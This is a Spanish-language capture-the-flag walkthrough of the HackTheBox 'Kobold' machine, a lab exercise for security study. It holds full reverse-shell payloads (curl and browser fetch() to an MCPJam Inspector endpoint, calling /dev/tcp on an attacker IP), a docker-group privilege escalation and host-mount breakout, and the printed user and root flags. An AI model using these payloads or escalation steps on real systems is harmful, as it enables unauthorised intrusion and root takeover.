Kobold
Plataforma: HackTheBox
Dificultad: Fácil

Reconocimiento
En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.
sudo nmap -p- -sS -sCV --min-rate 5000 -Pn -n -oN kobold.txt 10.129.13.5
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 15:04 -0300
Nmap scan report for 10.129.13.5
Host is up (0.75s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA)
|_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to https://kobold.htb/
| ssl-cert: Subject: commonName=kobold.htb
| Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb
| Not valid before: 2026-03-15T15:08:55
|_Not valid after: 2125-02-19T15:08:55
3552/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 151.97 seconds
Detalles del comando:
-p-: Escaneo de todos los puertos.-sS: Escaneo SYN para determinar el estado de los puertos.-sCV: Usa scripts por defecto y detecta versiones de servicios.--min-rate 5000: Establece un ritmo mínimo de escaneo.-n: Desactiva la resolución DNS.-Pn: Omite la detección de hosts activos.-oN kobold.txt: Guarda los resultados en el archivo “kobold.txt”.
Puertos descubiertos:
- 22/tcp - SSH (OpenSSH 9.6p1 Ubuntu)
- 80/tcp - HTTP (nginx 1.24.0) → Redirige a
https://kobold.htb/ - 443/tcp - HTTPS (nginx 1.24.0) → Redirige a
https://kobold.htb/ - 3552/tcp - HTTP (Golang net/http server)
El certificado SSL incluye el dominio wildcard *.kobold.htb, lo que sugiere la presencia de subdominios.
Configuración del Host
echo "10.129.13.5 kobold.htb" | sudo tee -a /etc/hosts
Enumeración de Subdominios
Utilizamos ffuf para buscar subdominios mediante virtual hosting, filtrando solo respuestas con código 200:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -mc 200 -k
bin [Status: 200, Size: 24402, Words: 1218, Lines: 386, Duration: 2643ms]
mcp [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 378ms]
Encontramos dos subdominios:
bin.kobold.htb— posible repositorio o almacén de binarios/archivos.mcp.kobold.htb— probable servidor Model Context Protocol (MCP), relacionado con agentes de IA.
Los agregamos al /etc/hosts:
echo "10.129.13.5 bin.kobold.htb mcp.kobold.htb" | sudo tee -a /etc/hosts
Enumeración Web
Al acceder a https://kobold.htb encontramos Kobold Operations Suite, una plataforma de gestión de servicios internos.

El footer revela un correo de contacto: admin@kobold.htb, lo que nos indica un posible usuario del sistema.
bin.kobold.htb
Al acceder a https://bin.kobold.htb encontramos una instancia de PrivateBin 2.0.2, un pastebin open source con cifrado AES de 256 bits en el cliente.

mcp.kobold.htb
En https://mcp.kobold.htb encontramos MCPJam Inspector, una herramienta web para conectar y depurar servidores MCP (Model Context Protocol).

Puerto 3552 — Arcane
El puerto 3552 expone Arcane v1.13.0, una plataforma de gestión de contenedores con panel de login.

Acceso Inicial
Método 1: RCE en MCPJam Inspector (GHSA-232v-j27c-5pp6)
El endpoint /api/mcp/connect de MCPJam Inspector ejecuta el campo command directamente en el servidor sin ninguna sanitización, lo que permite RCE sin autenticación.
Iniciamos un listener:
nc -lvnp 4444
Opción A — curl:
curl -sk -X POST https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.16.52/4444 0>&1"],"env":{}},"serverId":"revshell"}'
Opción B — consola del navegador (desde https://mcp.kobold.htb):
fetch('/api/mcp/connect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
serverConfig: {
command: "bash",
args: ["-c", "bash -i >& /dev/tcp/10.10.16.52/4444 0>&1"],
env: {}
},
serverId: "revshell"
})
})
Obtenemos una shell como el usuario ben:

Tratamiento de la TTY
Para obtener una shell completamente interactiva:
script /dev/null -c bash
Presionamos Ctrl+Z y desde nuestra máquina:
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 45 columns 184
User Flag

7c3df3bc7f089a5c3ccc3080891f2426
Escalada de Privilegios
Enumeración
Revisamos los binarios con SUID:
find / -perm -4000 -user root 2>/dev/null
Entre los resultados destacan newgrp y gpasswd, que permiten gestionar grupos. Revisando los procesos en ejecución:
ps aux
Encontramos que dockerd está corriendo y que el binario de Arcane corre como root. También identificamos que ben pertenece al grupo operator:
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)
Verificamos el grupo docker en el sistema:
cat /etc/group | grep docker
docker:x:111:alice
Acceso al Grupo Docker
Dado que newgrp tiene el bit SUID activado y el grupo docker no tiene contraseña configurada en /etc/gshadow, cualquier usuario puede unirse a él. Usamos sg para evitar problemas con la TTY:
sg docker bash
id
uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
Docker Breakout → Root
Con acceso al socket de Docker, montamos el filesystem del host dentro de un contenedor y hacemos chroot para obtener una shell como root:
docker run -v /:/mnt --rm -it mysql chroot /mnt sh
id
uid=0(root) gid=0(root) groups=0(root)
La imagen utilizada no importa — el vector es el montaje -v /:/mnt que expone el filesystem completo del host al contenedor.
Root Flag

12ceb75549155da07563496616dc1918
¡Root conseguido!
Hemos completado exitosamente la máquina Kobold de HackTheBox.